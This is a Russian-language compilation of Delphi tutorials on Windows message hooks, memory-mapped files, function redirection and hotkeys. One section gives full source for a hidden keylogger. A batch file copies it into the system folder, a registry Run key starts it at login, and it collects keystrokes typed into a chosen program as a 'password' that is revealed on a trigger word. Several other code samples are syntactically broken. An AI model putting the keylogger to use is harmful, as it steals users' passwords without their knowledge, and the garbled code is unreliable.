обрабатываться независимо друг от друга. Для удаления функции-фильтра из очереди необходимо вызвать функцию UnhookWindowsHookEx. Данная функция принимает дескриптор ловушки, полученный функцией SetWindowsHookEx. Если удаление не удалось, то функция возвращает ноль, иначе не нулевое значение. В дальнейшем, под выражением "снять ловушку" будем подразумевать удаление функции-фильтра.

Теперь, когда вам известно как устанавливать ловушку и как её снимать, рассмотрим пару примеров, которые дадут наглядное представление об изолированности АП процессов и укажут на одну из самых распространённых ошибок. Откройте каталог Example1, из прилагаемого к статье файла, далее зайдите в каталоги First и Second и скомпилируйте все имеющиеся в этих каталогах проекты. В итоге вы должны получить в одном каталоге файлы MainProg1.exe и hook_dll1.dll, и во втором - MainProg2.exe и hook_dll2.dll (не забудьте, что *.DLL файлы могут быть не видны, из-за того, что у вас в свойствах обозревателя выбран пункт "Не показывать скрытые и системные файлы" ) . Запустите MainProg1.exe и MainProg2.exe, расположите появившиеся окошки рядом. Теперь в окне MainProg1 нажмите "Load DLL and set hook", как только вы нажмёте на эту кнопку, ловушка типа WH_GETMESSAGE установится и теперь, когда какой либо процесс будет считывать сообщение из очереди, в этот процесс будет отображена hook_dll1.dll и выполнена функция-фильтр. При отображении в процесс этой DLL будет выводиться сообщение с именем модуля, из которого был загружен процесс, отобразивший эту DLL в своё АП. Если ловушка установлена успешно, - будет выведено соответствующее сообщение. Проделайте те же действия со второй формой (Example1/Process2). Теперь, после успешной установки двух ловушек, попробуйте кликнуть правой кнопкой мыши на какой-либо форме (но не на форме MainProg2). Вы увидите сообщение "HOOK2 working !", что означает что сработала вторая ловушка, которую мы установили последней и которая находится в конце очереди, но, несмотря на то, что в коде функции-фильтра второй ловушки мы пытались передать сообщение следующей ловушке (установленной нами из MainProg1.

CallNextHookEx(SysHook, Code, wParam, lParam);
первая ловушка не выполняется, потому что в процессе, которому принадлежит форма, на которой вы произвели клик, переменная SysHook будет равна нулю. Надеюсь, это понятно, если нет, - начинайте читать заново ;) Теперь попробуйте так же кликнуть правой кнопкой мыши на форму Example1/Process2 и вы увидите сначала сообщение "HOOK2 working !", а затем "HOOK1 working !". Почему ? - спросите вы. А потому, что в АП Process2 (в данных DLL) лежит дескриптор установленной из этого процесса ловушки и функция CallNextHookEx(SysHook, Code, wParam, lParam); работает как надо (SysHook не равна нулю, мы её сохранили в глобальных данных DLL - см. исходный код). Далее, попробуйте снять вторую ловушку (удалить функцию-фильтр из очереди) нажав на кнопку "TurnOff the hook". После того, как ловушка будет снята, попробуйте снова где-либо нажать правую кнопку мыши. При этом вы увидите, что ловушка, поставленная из первого приложения работает (будет появляться сообщение "HOOK1 working !"). Естественно, если вы, не сняв ловушку, закроете приложение, из которого она была установлена, ловушка будет уничтожена, а DLL выгружена, если более ни одним приложением не используется. ( Хотя, строго говоря, это не совсем так. Дело в том, что Windows использует механизм кэширования DLL в оперативной памяти. Делается это для того, что бы уменьшить накладные расходы на загрузку DLL с жёсткого диска в случае, если к этой DLL часто обращаются различные приложения, т.е. отображают эту DLL на своё АП. Более подробно об этом механизме можно почитать в специализированной литературе, для нас же, как для программистов, данное свойство ОС остаётся, как правило, прозрачным). Думаю, теперь, разобравшись в исходных кодах библиотек из первого примера, вы поняли, как НЕ надо писать DLL, из которых вы устанавливаете глобальные ловушки. Представьте, что пользователь, использующий вашу программу, в которой задействованы глобальные ловушки, запустит другую программу, которая так же установит тот же вид ловушки, что и ваша, но установит её в конец очереди, в таком случае, если та, вторая программа, будет написана неправильно - ваша программа перестанет работать потому что вашей ловушке не будет передаваться сообщение из впереди стоящей. Это пример того, как некачественная работа одного программиста может испортить прекрасно выполненную работу другого. Замечание: если вы работаете на Windows 2000, то вышеописанный пример будет работать иначе. Дело в том, что в Windows 2000 изменён механизм вызова ловушки, стоящей в очереди. Программисты Microsoft довели-таки его до ума, и в новой ОС он стал, по моему личному мнению, более логичен. В Windows 2000 если у вас имеется цепочка ловушек, то при выполнении функции CallNextHookEx(0, nCode, wParam, lParam ) вызывается следующая ловушка в цепочке, т.е. отпадает необходимость в передачи дескриптора, возвращаемого функцией SetWindowsHookEx. Таким образом, в первом примере будут вызываться обе ловушки и при клике на правую кнопку мыши вы увидите сообщение "HOOK2 working !", а затем и "HOOK1 working !". Рассмотрев и опробовав пример 2, вы увидите, что в Windows 2000 оба примера работают одинаково, хотя второй пример гораздо более сложен в плане реализации. Так как мы стремимся к тому, что бы наши программы были устойчивы в работе под любой версией Windows (имеются ввиду 32-х разрядные и выше), то в связи с этим я бы рекомендовал в ваших программах использовать метод, описанный далее в статье, а ещё лучше - делать проверку на ОС, под которой была запущена ваша программа и соответствующим образом работать с ловушками. К сожалению у меня нет описания, содержащего декларацию "новой" функции CallNextHookEx(), нововведение было обнаружено мной в результате тестирования своих программ на Windows 2000, поэтому возможны какие-то нюансы при работе с этой функцией. Лично я, работая с ловушками в среде Windows 2000, на другие изменения не натыкался, если кто-то располагает какой-либо интересной информацией по данному вопросу - буду признателен, если со мной ею поделятся. Теперь поговорим о том, как избежать неприятных ситуаций, используя глобальные ловушки. Для того, что бы все экземпляры DLL, находящиеся в разных процессах, имели доступ к дескриптору ловушки, надо выделить какую-то область, доступ к которой будут иметь все "желающие". Для этого воспользуемся одним из мощнейших механизмов Windows под названием "Файлы, отображённые в память" (Memory Mapped Files). В цели данной статьи не входит углубление в подробности работы с данным механизмом, так что если он кого-то заинтересует всерьёз - рекомендую почитать о нём в литературе, общие же понятия я постараюсь вкратце осветить. Механизм файлов, отображённых в память (MMF - Memory Mapped Files) позволяет резервировать определённую область АП системы Windows, для которой назначаются страницы физической памяти. Таким образом, с помощью MMF можно отображать в память не только файлы, но и данные, ссылаясь на них из своих программ с помощью указателей. В первом приближении работу механизма MMF можно представить следующим образом: Process1 создаёт отображение, которое связывает с некими данными (будь то файл на диске или значение неких переменных в самом Process1) и может изменять отображённые данные; затем Process2 так же отображает некие свои данные в тоже отображение, что и Process1, таким образом, изменения, внесённые Process1 в отображённые данные, будут видны Process2 и наоборот (см. рис.1 - красный овал c именем Global Data и есть зарезервированное под совместные нужды двух процессов АП). Данное приближение, вообще говоря, грубое, потому что всё намного сложнее, но для наших "нужд" этого будет вполне достаточно. Мы не будем создавать никаких временных файлов для передачи информации между процессами, мы воспользуемся файлом подкачки Windows (файл страничного обмена), таким образом, нам не придётся ни создавать ни уничтожать файлы, а придётся просто создать некоторое АП, которое будет доступно нашим приложениям и которое будет автоматически освобождаться системой, когда в нём отпадёт необходимость. К тому же, ясно, что работа с файлом подкачки куда быстрее, чем с обычным файлом, хранящимся на диске. Таким образом, к рассмотренному вами ранее Example1 можно применить следующий сценарий: при загрузки вашей программой (MainProg1.exe) библиотеки hook_dll1.dll эта библиотека создаёт отображённый в память файл, в котором сохраняет значение дескриптора установленной ловушки; затем некий процесс, в котором произошло событие, на которое была установлена ловушка, отображает на своё АП код hook_dll1.dll и уже новый экземпляр hook_dll1.dll, находящийся в АП другого процесса использует то же отображение, что и библиотека, из который была установлена ловушка, т.е. будет иметь доступ к сохранённому значению дескриптора установленной ловушки. Таким образом, вызов функции CallNextHookEx(Hook_Handle, Code, wParam, lParam); будет происходить вполне корректно, т.к. значение Hook_Handle будет содержать не 0, как в примере1, а значение, возвращённое функцией SetWindowsHookEx из первого экземпляра DLL. Возможно, данные объяснения кажутся вам запутанными, но после просмотра примера и повторного прочтения этих объяснений всё встанет на свои места.

Теперь пару слов о программной реализации всего вышесказанного.

CreateFileMapping() Создаёт объект файлового отображения. Данная функция возвращает указатель (handle) на объект файлового отображения.
MapViewOfFile() Данная функция отображает образ объекта файлового отображения на АП процесса, из которого она была вызвана. Первым параметром данной функции является результат выполнения функции CreateFileMapping(). Результатом работы данной функции является указатель на начало выделенного АП (уже в том процессе, из которого была вызвана данная функция). См. рис.1. - красные овалы в Process1 и Process2 под названием GD1 и GD2 (Global Data 1/2). Следует отметить, что для различных процессов, использующих экземпляры одной и той же DLL, адреса выделенных областей будут различными (хотя могут и совпадать, но это совпадение носит вероятностный характер), хотя данные, на которые они будут ссылаться, одни и те же !
UnmapViewOfFile() Данная функция закрывает отображённый в память файл и освобождает его дескриптор. При удачном закрытие функция возвращает ненулевое значение и 0 в случае неудачи.
За подробной информацией о параметрах вышеописанных функций обращайтесь к SDK, а так же разберитесь в примере, который будет разобран ниже. Замечание: первым параметром функции CreateFileMapping() должен быть передан дескриптор файла, которого мы собираемся отобразить. Т.к. мы собираемся отображать данные в файл подкачки, то следует передавать значение $FFFFFFFF или DWORD(-1), что соответствует тому же значению; но т.к. грядёт эра 64-разрядных систем, стоит использовать значение INVALID_HANDLE_VALUE, которое будет в 64 разрядной системе равно $FFFFFFFFFFFFFFFF соответственно. Для тех, кто переходил с ранних версий Delphi на более поздние (к примеру с Delphi2 на Delphi4) те, возможно, сталкивались с такого рода проблемами в своих программах. Так как мы будем создавать именованный объект файлового отображения, то последним параметром функции CreateFileMapping() передадим имя объекта, которое впоследствии будут использовать другие процессы для ссылки на ту же область памяти. Следует упомянуть о том, что создаваемый таким образом объект должен иметь фиксированный размер, т.е. не может его изменять по ходу программы. Теперь мы владеем всеми необходимыми знаниями для рассмотрения второго примера. Откройте каталог Example2 и выполните те же действия, что и в первом примере, предварительно внимательно разобравшись в исходных кодах. После того как вы запустите оба приложения и установите из них две функции-фильтра одного типа, попробуйте кликнуть правой кнопкой мыши на любом из окон и вы увидите, что теперь отрабатывают обе установленные ловушки, независимо от того, на каком из окон произошло нажатие кнопки мыши (т.е. несмотря на то, из какого экземпляра DLL выполняется вызов функции CallNextHookEx() ). Таким образом, когда какое-либо приложение будет отображать на своё АП DLL, в которой находится функция-фильтр, этот экземпляр DLL будет иметь доступ к данным, отображённым в память из Process1 или Process2, в зависимости от DLL. Думаю, после столь подробных объяснений всё должно быть понятно. В завершении напишем программу, которая будет устанавливать ловушку типа WH_KEYBOARD и записывать в файл значения нажатых клавиш во всех приложениях (программа будет накапливать в буфере значения нажатых клавиш и как только их количество превысит 40 - все значения будут выведены в соответствующее окно формы). Попутно, в данном примере, новички могут найти ответы на многие вопросы, часто задаваемые в различных форумах. Все объяснения будут даваться в виде комментариев к исходному коду. Откройте каталог Example3, в нём вы найдёте исходные коды библиотеки и главной программы, - разберитесь с ними, а затем откомпилируйте и сами попробуйте программу в действии. Благодарю Юрия Зотова за оказанную поддержку. Архив с примерами к статье: example.zip

Список использованной литературы:

Microsoft Win32 Software Development Kit. Стив Тейксейра и Ксавье Пачеко, "Delphi5. Руководство разработчика. Том 1. Основные методы и технологии". Kyle Marsh, "Hooks in Win32" (in the original). Dr. Joseph M. Newcomer, "Hooks and DLLs" (in the original).

Перехват функции в собственном приложении.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

type
   TSaveRedir = packed record
     Addr: Pointer;
     Bytes: array[0..4] of Byte;
   end;
   PSaveRedir = ^TSaveRedir;
 procedure RedirectCall(FromAddr, ToAddr: Pointer; SaveRedir: PSaveRedir);
 var
   OldProtect: Cardinal;
   NewCode: packed record
     JMP: Byte;
     Distance: Integer;
   end;
 begin
   if not VirtualProtect(FromAddr, 5, PAGE_EXECUTE_READWRITE, OldProtect) then
     RaiseLastWin32Error;
   if Assigned(SaveRedir) then
   begin
     SaveRedir^.Addr := FromAddr;
     Move(FromAddr^, SaveRedir^.Bytes, 5);
   end;
   NewCode.JMP := $E9;
   NewCode.Distance := PChar(ToAddr) - PChar(FromAddr) - 5;
   Move(NewCode, FromAddr^, 5);
   if not VirtualProtect(FromAddr, 5, OldProtect, OldProtect) then
     RaiseLastWin32Error;
 end;
 procedure UndoRedirectCall(const SaveRedir: TSaveRedir);
 var
   OldProtect: Cardinal;
 begin
   if not VirtualProtect(SaveRedir.Addr, 5, PAGE_EXECUTE_READWRITE, OldProtect) then
     RaiseLastWin32Error;
   Move(SaveRedir.Bytes, SaveRedir.Addr^, 5);
   if not VirtualProtect(SaveRedir.Addr, 5, OldProtect, OldProtect) then
     RaiseLastWin32Error;
 end;
 // Example: Replace Application.MessageBox with your own. 
function MyNewMessageBox(Self: TApplication; const Text, Caption: PChar;
   Flags: Longint): Integer;
 begin
   ShowMessage('New Messagebox');
   //.... 
end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   Application.MessageBox('You'll never see this Text /
     Diesen Text wirst du nie sehen'', '...', MB_OK);
 end;
 var
   S: TSaveRedir;
 initialization
   RedirectCall(@TApplication.MessageBox, @MyNewMessageBox, @S);
 finalization
   UndoRedirectCall(S);

Использование НООК в Delphi.

Смотрит программер на монитор компа с только что поставленной виндой и говорит: - Да.., жить захочешь не так раскорячишся.

Что такое НООК?

НООК - это механизм перехвата сообщений, предоставляемый системой Microsoft Windows. Программист пишет специального вида функцию (НООК-функция), которая затем при помощи функции SetWindowsHookEx вставляется на верх стека НООК-функций системы. Ваша НООК-функция сама решает, передать ли ей сообщение в следующую НООК-функцию при помощи CallNextHookEx или нет.

Какие бывает НООК'и?

НООК бывают глобальные, контролирующие всю систему, так и локальные, ориентированные на какой-либо поток (Thread). Кроме того НООК различаются по типу перехватываемых сообщений (подробнее об этом - ниже). НООК несколько подтормаживают систему, поэтому ставить их рекомендуется только при необходимости, и кактолько необходимость в них отпадает - удалять.

Как создавать НООК?

НООК устанавливается в систему при помощи функции SetWindowsHookEx, вот её заголовок:

function SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc;
hmod: HINST; dwThreadId: DWORD): HHOOK;
idHook константа, определяющая тип вставляемого НООК'а, должна быть одна из нижеследующих констант: WH_CALLWNDPROC вставляемая НООК-функция следит за всеми сообщения перед их отпралением в соответствующую оконную функцию WH_CALLWNDPROCRET вставляемая НООК-функция следит за всеми сообщениями после их отправления в оконную функцию WH_CBT вставляемая НООК-функция следит за окнами, а именно: за созданием, активацией, уничтожением, сменой размера; перед завершением системной команды меню, перед извлечением события мыши или клавиатуры из очереди сообщений, перед установкой фокуса и т.д. WH_DEBUG вставляемая НООК-функция следит за другими НООК-функциями. WH_GETMESSAGE вставляемая НООК-функция следит за сообщениями, посылаемыми в очередь сообщений. WH_JOURNALPLAYBACK вставляемая НООК-функция посылает сообщения, записанные до этого WH_JOURNALRECORD НООК'ом. WH_JOURNALRECORD эта НООК-функция записывает все сообщения куда-либо в специальном формате, причем позже они могут быть "воспроизведены" при помощи НООК'а WH_JOURNALPLAYBACK. Это в некотором роде аналог магнитофонной записи сообщений. WH_KEYBOARD вставляемая НООК-функция следит за сообщениями клавиатуры WH_MOUSE вставляемая НООК-функция следит за сообщениями мыши WH_MSGFILTER WH_SHELL WH_SYSMSGFILTER lpfn указатель на непосредственно функцию. Обратите внимание, что если Вы ставите глобальный НООК, то НООК-функция обязательно должна находиться в некоторой DLL!!! hmod описатель DLL, в которой находится код функции. dwThreadId идентификатор потока, в который вставляется НООК

Подробнее о НООК-функциях сотри справку по Win32API.

Как удалять НООК?

НООК удаляется при помощи функции UnHookWindowsEx.

Пример использования НООК.

Ставим НООК, следящий за мышью (WH_MOUSE). Программа следит за нажатием средней кнопки мыши, и когда она нажимается, делает окно, находящееся непосредственно под указателем, поверх всех остальных (TopMost). Код самой НООК-функции помещен в библиотеку lib2.dll, туда же помещены и функции Start - для установки НООК, и Remove - для удаления НООК.

Файл sticker.dpr

program sticker;
uses
  windows, messages;
var
  wc: TWndClassEx;
  MainWnd: THandle;
  Mesg: TMsg;
  //экспортируем две функции из библиотеки с НООК'ами
  procedure Start; external 'lib2.dll' name 'Start';
  procedure Remove; external 'lib2.dll' name 'Remove';
  function WindowProc(wnd: HWND; Msg: Integer; Wparam: Wparam;
  Lparam: Lparam): Lresult; stdcall;
  var
    nCode, ctrlID: word;
  begin
    case msg of
      wm_destroy :
      begin
        Remove;//удаляем НООК
        postquitmessage(0); exit;
        Result:=0;
      end;
      else
        Result := DefWindowProc(wnd, msg, wparam, lparam);
    end;
  end;
begin
  wc.cbSize:=sizeof(wc);
  wc.style:=cs_hredraw or cs_vredraw;
  wc.lpfnWndProc:=@WindowProc;
  wc.cbClsExtra:=0;
  wc.cbWndExtra:=0;
  wc.hInstance:=HInstance;
  wc.hIcon:=LoadIcon(0,idi_application);
  wc.hCursor:=LoadCursor(0,idc_arrow);
  wc.hbrBackground:=COLOR_BTNFACE+1;
  wc.lpszMenuName:=nil;
  wc.lpszClassName:='WndClass1';
  RegisterClassEx(wc);
  MainWnd := CreateWindowEx(0, 'WndClass1', 'Caption', ws_overlappedwindow,
  cw_usedefault, cw_usedefault, cw_usedefault, cw_usedefault, 0, 0, Hinstance, nil);
  ShowWindow(MainWnd, CmdShow);
  Start;//вставляем НООК
  while GetMessage(Mesg, 0, 0, 0) do
  begin
    TranslateMessage(Mesg);
    DispatchMessage(Mesg);
  end;
end.

Файл lib2.dpr library lib2;

uses
  windows, messages;
var
  pt: TPoint;
  theHook: THandle;
function MouseHook(nCode, wParam, lParam: integer): Lresult; stdcall;
var
  msg: PMouseHookStruct;
  w: THandle;
  style: integer;
begin
  if nCode then
  begin
    result := CallNextHookEx(theHook, nCode, wParam, lParam);
    exit;
  end;
  msg := PMouseHookStruct(lParam);
  case wParam of
    WM_MBUTTONDOWN : pt := msg^.pt;
    WM_MBUTTONUP :
    begin
      w := WindowFromPoint(pt);
      style := GetWindowLong(w, GWL_EXSTYLE);
      if (style and WS_EX_TOPMOST) <> 0 then
      begin
        //уже поверх всех - сделать обычным
        ShowWindow(w, sw_hide);
        SetWindowPos(w, HWND_NOTOPMOST, 0,0,0,0, SWP_NOMOVE or SWP_NOSIZE or SWP_SHOWWINDOW);
      end
      else
      begin
        //сделать поверх остальных
        ShowWindow(w, sw_hide);
        SetWindowPos(w, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE or SWP_NOSIZE or SWP_SHOWWINDOW);
      end;
    end;
  end;
  result := CallNextHookEx(theHook, nCode, wParam, lParam);
end;
procedure Start;
begin
  theHook := SetWindowsHookEx(wh_mouse, @mouseHook, hInstance, 0);
  if theHook = 0 then
    messageBox(0, 'Error!', 'Error!', mb_ok);
end;
procedure Remove;
begin
  UnhookWindowsHookEx(theHook);
end;
exports
  Start index 1 name 'Start',
  Remove index 2 name 'Remove';
end.

Как отловить нажатия клавиш для всех процессов в системе.

Статьи по Delphi (009)…
Идет программист по улице, видит - его приятель-коллега на новеньком красном "Ferrari 512TR". - Откуда такая машина?! - Да из NFS дебаггером выдрал.
Setup.bat
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
HookAgnt.reg
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
KbdHook.dpr
program cwbhook;
uses
  Windows, Dialogs;
var
  hinstDLL: HINST;
  hkprcKeyboard: TFNHookProc;
  msg: TMsg;
begin
  hinstDLL := LoadLibrary('HookAgnt.dll');
  hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
  SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
  repeat
  until
    not GetMessage(msg, 0, 0, 0);
end.
HookAgnt.dpr
library HookAgent;
uses
  Windows, KeyboardHook in 'KeyboardHook.pas';
exports
  KeyboardProc;
var
  hFileMappingObject: THandle;
  fInit: Boolean;
{----------------------------\
| |
| DLL_PROCESS_DETACH |
| |
\----------------------------}
procedure DLLMain(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
  begin
    UnmapViewOfFile(lpvMem);
    CloseHandle(hFileMappingObject);
  end;
end;
{----------------------------\
| |
| DLL_PROCESS_ATTACH |
| |
\----------------------------}
begin
  DLLProc := @DLLMain;
  hFileMappingObject := CreateFileMapping(
  THandle($FFFFFFFF), // use paging file
  nil, // no security attributes
  PAGE_READWRITE, // read/write access
  0, // size: high 32 bits
  4096, // size: low 32 bits
  'HookAgentShareMem' // name of map object
  );
  if hFileMappingObject = INVALID_HANDLE_VALUE then
  begin
    ExitCode := 1;
    Exit;
  end;
  fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
  lpvMem := MapViewOfFile(
  hFileMappingObject, // object to map view of
  FILE_MAP_WRITE, // read/write access
  0, // high offset: map from
  0, // low offset: beginning
  0 // default: map entire file
  );
  if lpvMem = nil then
  begin
    CloseHandle(hFileMappingObject);
    ExitCode := 1;
    Exit;
  end;
  if fInit then
    FillChar(lpvMem, PASSWORDSIZE, #0);
end.
KeyboardHook.pas
unit KeyboardHook;
interface
uses
  Windows;
const
  PASSWORDSIZE = 16;
var
  g_hhk: HHOOK;
  g_szKeyword: array[0..PASSWORDSIZE-1] of char;
  lpvMem: Pointer;
  function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT; stdcall;
implementation
uses
  SysUtils, Dialogs;
  function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT;
var
  szModuleFileName: array[0..MAX_PATH-1] of Char;
  szKeyName: array[0..16] of Char;
  lpszPassword: PChar;
begin
  lpszPassword := PChar(lpvMem);
  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
  begin
    GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
    if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
      lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
    lstrcat(g_szKeyword, szKeyName);
    GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
    if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__') <> nil) and
    (strlen(lpszPassword) + strlen(szKeyName) then
      lstrcat(lpszPassword, szKeyName);
    if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
    begin
      ShowMessage(lpszPassword);
      g_szKeyword[0] := #0;
    end;
    Result := 0;
  end
  else
    Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;
end.

Перехват (Hook) клавиатуры (программа Sendkeys).

Автор: Bogachev
Всю ночь потел над непослушной Клавой...
program Project1;
uses
  Forms,
  Unit1 in '..\Hooks1\Unit1.pas' {Form1};
{$R *.RES}
begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.
// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* //
library SendKey;
uses
  SysUtils, Classes, Windows, Messages;
const
  {пользовательские сообщения}
  wm_LeftShow_Event = wm_User + 133;
  wm_RightShow_Event = wm_User + 134;
  wm_UpShow_Event = wm_User + 135;
  wm_DownShow_Event = wm_User + 136;
  {handle для ловушки}
  HookHandle: hHook = 0;
var
  SaveExitProc: Pointer;
  {собственно ловушка}
function Key_Hook(Code: integer; wParam: word;
  lParam: Longint): Longint; stdcall; export;
var
  H: HWND;
begin
  {если Code>=0, то ловушка может обработать событие}
  if (Code >= 0) and (lParam and $40000000 = 0) then
  begin
    {ищем окно по имени класса и по заголовку
    (Caption формы управляющей программы должен быть равен 'XXX' !!!!)}
    H := FindWindow('TForm1', 'XXX');
    {это те клавиши?}
    case wParam of
      VK_Left: SendMessage(H, wm_LeftShow_Event, 0, 0);
      VK_Right: SendMessage(H, wm_RightShow_Event, 0, 0);
      VK_Up: SendMessage(H, wm_UpShow_Event, 0, 0);
      VK_Down: SendMessage(H, wm_DownShow_Event, 0, 0);
    end;
    {если 0, то система должна дальше обработать это событие}
    {если 1 - нет}
    Result := 0;
  end
  else if Code < 0 {если Code<0, то нужно вызвать следующую ловушку} then
    Result := CallNextHookEx(HookHandle, Code, wParam, lParam);
end;
{при выгрузке DLL надо снять ловушку}
procedure LocalExitProc; far;
begin
  if HookHandle <> 0 then
  begin
    UnhookWindowsHookEx(HookHandle);
    ExitProc := SaveExitProc;
  end;
end;
exports Key_Hook;
{инициализация DLL при загрузке ее в память}
begin
  {устанавливаем ловушку}
  HookHandle := SetWindowsHookEx(wh_Keyboard, @Key_Hook,
    hInstance, 0);
  if HookHandle = 0 then
    MessageBox(0, 'Unable to set hook!', 'Error', mb_Ok)
  else
  begin
    SaveExitProc := ExitProc;
    ExitProc := @LocalExitProc;
  end;
end.
// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* //
object Form1: TForm1
  Left = 200
    Top = 104
    Width = 544
    Height = 375
    Caption = 'XXX'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    PixelsPerInch = 96
    TextHeight = 13
    object Label1: TLabel
    Left = 128
      Top = 68
      Width = 32
      Height = 13
      Caption = 'Label1'
  end
end
// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* //
unit Unit1;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls;
{пользовательские сообщения}
const
  wm_LeftShow_Event = wm_User + 133;
  wm_RightShow_Event = wm_User + 134;
  wm_UpShow_Event = wm_User + 135;
  wm_DownShow_Event = wm_User + 136;
type
  TForm1 = class(TForm)
    Label1: TLabel;
    procedure FormCreate(Sender: TObject);
  private //Обработчики сообщений
    procedure WM_LeftMSG(var M: TMessage);
      message wm_LeftShow_Event;
    procedure WM_RightMSG(var M: TMessage);
      message wm_RightShow_Event;
    procedure WM_UpMSG(var M: TMessage);
      message wm_UpShow_Event;
    procedure WM_DownMSG(var M: TMessage);
      message wm_DownShow_Event;
  end;
var
  Form1: TForm1;
  P: Pointer;
implementation
{$R *.DFM}
//Загрузка DLL
function Key_Hook(Code: integer; wParam: word;
  lParam: Longint): Longint; stdcall; external 'SendKey' name 'Key_Hook';
procedure TForm1.WM_LefttMSG(var M: TMessage);
begin
  Label1.Caption := 'Left';
end;
procedure TForm1.WM_RightMSG(var M: TMessage);
begin
  Label1.Caption := 'Right';
end;
procedure TForm1.WM_UptMSG(var M: TMessage);
begin
  Label1.Caption := 'Up';
end;
procedure TForm1.WM_DownMSG(var M: TMessage);
begin
  Label1.Caption := 'Down';
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  {если не использовать вызов процедуры из DLL в программе,
  то компилятор удалит загрузку DLL из программы}
  P := @Key_Hook;
end;
end.

Перехватить нажатие клавиши на клавиатуре.

Статьи по Delphi (009)…
Звонит мужик в программистскую фирму: - Ваша программа не работает!!! Что делать? - Вы внимательно читали руководство? - Да, да, делал все как написано - не работает. - Прочитайте еще раз 1-ю строчку. - Читаю: "Нажмите кнопку ENTER". Нажимаю... Не работает. - Читайте дальше. - Читаю: "Отпустите кнопку ENTER". О!!! Заработала!!!

Для того, чтобы перехватить нажатие какой-то клавиши на клавиатуре можно использовать зарегистрированную "горячую клавишу" (HotKey). Эта программа пикает при нажатии "1".

...
private
  procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY;
...
const
  MyHotKey = ord('1');
procedure TForm1.WMHotKey(var Msg: TWMHotKey);
begin
  MessageBeep(0);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  RegisterHotKey(Form1.Handle, MyHotKey, 0, MyHotKey);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnRegisterHotKey(Form1.Handle, MyHotKey);
end;

Функции WinAPI Hook.

Оформил: DeeCo

Hook System Functions:
CallMsgFilter
CallNextHookEx
CallWndProc
CallWndRetProc
CBTProc
DebugProc
ForegroundIdleProc
GetMsgProc
JournalPlaybackProc
JournalRecordProc
KeyboardProc
MessageProc
MouseProc
SetWindowsHookEx
ShellProc
SysMsgProc
UnhookWindowsHookEx

Пример компонента HotSpot.

Автор: Robert Wittig

Вот пример HotSpot-компонента, основанного на TPanel (небольшая переделка). Управляя событиями MouseDown и MouseUp можно получить эффект резинового контура.

unit Newpanel;
interface
uses WinTypes, Classes, Controls, StdCtrls, ExtCtrls;
type
  tHotSpotClickEvent = procedure(Sender: tObject;
    Button: tMouseButton;
    Shift: tShiftState) of object;
  TNewPanel = class(tPanel)
  private
    fHotSpotClick: tHotSpotClickEvent;
    fHotSpot: tRect;
    fInHotSpot: Boolean;
    function GetHotSpotTop: Word;
    function GetHotSpotLeft: Word;
    function GetHotSpotWidth: Word;
    function GetHotSpotHeight: Word;
    procedure SetHotSpotTop(Value: Word);
    procedure SetHotSpotLeft(Value: Word);
    procedure SetHotSpotWidth(Value: Word);
    procedure SetHotSpotHeight(Value: Word);
  protected
    procedure Paint; override;
    procedure MouseDown(Button: tMouseButton; Shift: tShiftState; X, Y: Integer);
      override;
    procedure MouseUp(Button: tMouseButton; Shift: tShiftState; X, Y: Integer);
      override;
  public
    procedure Click; override;
    property HotSpot: tRect read fHotSpot write fHotSpot;
  published
    property hsTop: Word read GetHotSpotTop write SetHotSpotTop;
    property hsLeft: Word read GetHotSpotLeft write SetHotSpotLeft;
    property hsWidth: Word read GetHotSpotWidth write SetHotSpotWidth;
    property hsHeight: Word read GetHotSpotHeight write SetHotSpotHeight;
    property OnHotSpot: tHotSpotClickEvent read fHotSpotClick write
      fHotSpotClick;
  end;
procedure Register;
implementation
uses WinProcs, Graphics;
procedure Register;
begin
  RegisterComponents('Custom', [TNewPanel]);
end;
procedure TNewPanel.MouseDown(Button: tMouseButton;
  Shift: tShiftState;
  X, Y: Integer);
begin
  if PtInRect(fHotSpot, Point(X, Y)) and
    Assigned(fHotSpotClick) then
    fInHotSpot := True;
  inherited MouseDown(Button, Shift, X, Y);
end;
procedure TNewPanel.MouseUp(Button: tMouseButton;
  Shift: tShiftState;
  X, Y: Integer);
begin
  inherited MouseUp(Button, Shift, X, Y);
  if fInHotSpot then
  begin
    if Assigned(fHotSpotClick) then
      fHotSpotClick(Self, Button, Shift);
    fInHotSpot := False;
  end;
end;
procedure TNewPanel.Click;
begin
  if not fInHotSpot then
    inherited Click;
end;
procedure TNewPanel.Paint;
var
  OldStyle: tPenStyle;
begin
  inherited Paint;
